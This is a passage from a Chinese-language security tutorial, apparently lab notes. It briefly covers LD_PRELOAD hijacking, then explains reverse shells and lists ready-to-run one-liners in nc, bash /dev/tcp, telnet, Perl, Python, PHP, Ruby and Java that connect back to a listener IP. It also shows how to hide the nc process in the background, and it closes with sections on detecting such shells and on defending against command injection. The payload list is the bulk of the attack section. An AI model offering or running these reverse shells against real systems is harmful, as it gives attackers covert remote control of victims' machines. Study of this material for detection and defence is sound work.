anaconda-ks.cfg demo.c demo.so
# 任意命令都会触发id命令
```
删除操作
```bash
[root@localhost ~]# echo $LD_PRELOAD
/root/demo.so
[root@localhost ~]# unset LD_PRELOAD
```
## 5. shell监听
### 5.1 定义
通俗来说,shell就是实现用户命令的接口,通过该接口我们能实现对计算机的控制(root权限),而反弹shell就是将shell反弹给攻击者,从而达到让攻击者可以在自己的机器上执行shell命令,从而操控受害者的计算机。
标准说法:reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2. 它的 ip 会动态改变,你不能持续控制。
3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
### 5.2 nc的使用
第一步:在kali(服务端)上监听23333端口,并反弹shell
```bash
nc -lvp 2333
```
第二步:在Linux(客户端)上连接kali的23333端口
这个时候,客户端就拿到服务端的shell控制权了
可以随意控制服务端
```bash
nc 192.168.173.130 2333 -e /bin/sh
```
可以将nc挂在靶机的后台,并且不显示任何内容
```bash
nohup nc 192.168.173.130 2333 -e /bin/sh 2>&1 /dev/null &
# nohup是将进程挂到systemd下,这样可以做到即使ssh断开,nc亦不会中断
# 2>&1 /dev/null 将任何的显示内容都隐藏
# & 将任务挂在 bash 的后台
# pstree可以看到nc挂在ssh下和systemd下
```

版本问题或不支持-e可使用:
```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.173.130 2333 >/tmp/f
```
### 5.3 bash版本
如果客户端未安装nc(注意这个是由解析shell的bash完成,所以某些情况下不支持。)
```bash
bash -i >& /dev/tcp/192.168.173.130/2333 0>&1
```

### 5.4 telnet版本
当nc不可用或/dev/tcp不可用时可以考虑telnet客户端
```bash
mknod backpipe p && telnet 192.168.173.130 2333 0backpipe
```

### 5.5 Perl版本
如果服务器环境存在perl,还可以使用perl版本
```perl
perl -e 'use Socket;$i="192.168.173.130";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

另一个perl版本
```perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.173.130:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

### 5.6 Python版本
```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.173.130",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Python的另外一个版本
```python
python -c "exec(\"import socket, subprocess;s =socket.socket();s.connect(('192.168.173.130',2333))\nwhile 1: proc =subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
```

### 5.7 PHP版本
```php
php -r '$sock=fsockopen("192.168.173.130",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
```

### 5.8 Ruby版本
不依赖于/bin/sh的shell
```bash
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.172.130","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
如果目标系统运行Windows (未进行验证)
```powershell
ruby -rsocket -e 'c=TCPSocket.new("192.168.173.130","2333");while(cmd=c.gets);IO.popen(cmd,"r")
```
### 5.9 java版
未进行验证
```java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
### 5.10 检测shell
可以通过对本机进程的状态,网络连接的状态进行排查
在 TCP/IP 协议中,TCP 连接可以有多种状态,不同的状态代表连接处于不同的工作阶段或状态。下面是一些常见的 TCP 连接状态:
- LISTEN // 表示当前主机正在监听并等待传入连接请求。
- SYN_SENT // 表示客户端发送了一个 SYN 包,请求建立连接,并等待服务器回复。
- SYN_RECEIVED // 表示服务器收到了客户端的 SYN 包,并发送了一个 SYN/ACK 包回复,表示准备建立连接。
- ESTABLISHED // 表示连接已成功建立,正在进行数据传输和通信。
- FIN_WAIT_1/FIN_WAIT_2 // 表示连接被远程主机关闭,但本地主机尚未完成所有数据传输操作。
- CLOSE_WAIT // 表示本地主机已经关闭了连接,但远程主机仍在传输数据。
- CLOSING // 表示连接正在两个方向上同时关闭。
- TIME_WAIT // 表示连接已经关闭,但本地主机还在等待可能延迟的数据包。
- LAST_ACK // 表示本地主机发送了一个 FIN 包,请求关闭连接,并等待远程主机的 ACK响应。
对于每个连接,其状态会在TCP头部信息中进行标记,并通过网络工具(如netstat、ss等)进行显示。
检查TCP连接状态可以帮助用户了解网络连接是否正常工作,以及哪些进程或应用程序在使用网络资源,从而进行故障排除和性能分析等操作。
#### 5.10.1 lsof
lsof是一个常用的系统工具,用于列出当前系统打开的所有文件(包括网络套接字、硬件设备、进程和用户等),以及它们的相关信息和属性。lsof可以帮助用户了解系统中正在运行的进程和它们所使用的文件、端口和套接字,以便进行故障排除、性能调优和安全审计等操作。
下面是 lsof 命令的一些常用选项和用法:
- lsof -i // 列出当前打开的网络套接字和端口。
- lsof -u <username> // 列出指定用户的所有打开文件和进程。
- lsof -p <pid> // 列出指定进程 ID 的所有打开文件和套接字。
- lsof -c <process name> // 列出指定进程名称的所有打开文件和套接字。
- lsof -i :<port> // 列出指定端口的所有监听进程和套接字。
- lsof -i TCP:<port> // 列出指定 TCP 端口的所有监听进程和套接字。
- lsof -i UDP:<port> // 列出指定 UDP 端口的所有监听进程和套接字。
- lsof -n // 禁止主机名解析
需要注意的是,lsof命令需要root或相应权限才能访问所有进程和文件。在使用lsof命令时,请仔细阅读文档并确保了解其功能和用法,以避免对系统造成不必要的影响和损害。
```bash
lsof -n | grep ESTABLISHED
```

#### 5.10.2 netstat
netstat是一个常用的网络工具,用于显示当前系统的网络连接和网络统计信息。netstat可以列出打开的端口、监听的端口、网络连接状态、网络接口信息等,并可以输出各种格式的报告以及进行网络故障排除和性能分析等操作。
以下是 netstat 命令的一些常用选项和用法:
- netstat -a // 列出所有打开的端口和套接字。
- netstat -o // 列出所有连接的进程 ID 。
- netstat -t // 只列出 TCP 协议相关的端口和连接状态。
- netstat -u // 只列出 UDP 协议相关的端口和连接状态。
- netstat -n // 使用数字格式显示 IP 地址和端口号,而不进行主机名解析。
- netstat -p // 同时显示进程名称和 ID ,以及它们所使用的网络连接和端口。
- netstat -r // 显示当前系统的路由表和路由信息。
- netstat -i // 显示当前系统的网络接口信息和统计数据。
需要注意的是,netstat命令的选项和输出格式可能因操作系统和版本而有所差异。在使用netstat命令时,请参考相应的文档和帮助信息,并了解其功能和用法,以避免对系统造成不必要的影响和损害。
```bash
netstat -anop |grep ESTABLISHED
```

#### 5.10.3 ps
ps命令是一个用于显示当前系统进程状态和信息的常用工具。它可以列出所有正在运行的进程,并显示它们的PID(进程 ID)、PPID(父进程 ID)、CPU 占用率、内存占用、启动时间、命令名等相关信息,以便进行进程管理、性能分析和故障排除等操作。
以下是 ps 命令的一些常用选项和用法:
- ps -ef // 列出所有进程的详细信息,包括进程的所有者、 PID 、占用 CPU 和内存的百分比、命令名等。
- ps -aux // 类似于 -ef ,但会显示更多的进程信息,如进程的启动时间、运行时间、命令行参数等。
- ps -p <pid> // 显示指定 PID 的进程信息。
- ps -C <command> // 显示指定命令名称的进程信息。
- ps -u <username> // 显示指定用户名称的进程信息。
- ps -o <format> // 自定义输出格式,可以选择要显示的列和它们的顺序、标题等。
需要注意的是,ps命令的选项和输出格式可能因操作系统和版本而有所差异。在使用ps命令时,请参考相应的文档和帮助信息,并了解其功能和用法,以避免对系统造成不必要的影响和损害。
直接通过ps -ef,查看有无反弹shell的常见命令
```bash
ps -ef |grep php
```

#### 5.10.4 ls
`ls -al /proc/****/fd`命令会显示指定进程的文件描述符目录,其中包含了所有该进程打开的文件和
设备。ls命令的-al选项表示以详细列表格式显示目录内容,包括文件权限、所有者、大小、时间戳等信
息。
需要注意的是,由于这个命令需要访问 "/proc" 文件系统,因此需要 root 或相应权限才能运行。同时,
在使用 grep 命令时,请确保使用正确的搜索条件和选项,以避免输出不必要的信息或误判结果。
```bash
sudo ls -al /proc/****/fd |grep "tty"
```

## 6. 防御
- 形成漏洞的原因:可控变量,函数漏洞
- 对于用户输入的数据,应该对输入进行适当的验证和过滤,以确保其中不包含任何非法字符或命令序列。
- 对于命令执行操作,应该使用参数化查询或存储过程等方式,避免直接拼接用户输入到命令中。
- 在命令参数中使用引号将参数括起来,避免参数被错误地分解为多个单独的参数。
- 对于敏感操作,应该限制用户的权限,并且只允许经过授权的用户执行特定的命令和操作。
- 尽量不要使用`eval()`函数和`shell_exec()`函数等执行系统命令的函数。
- 使用参数化查询或存储过程等方式,将用户输入数据传递给数据库或其他服务,而不是直接拼接到命令中。
- 避免使用系统默认路径,尽可能使用绝对路径来指定命令执行的位置。
- 限制程序运行权限,尽可能地降低程序运行的权限,限制对系统资源的访问范围,避免被攻击者利用。
- 定期更新系统和软件,修补已知的漏洞,加强系统安全性。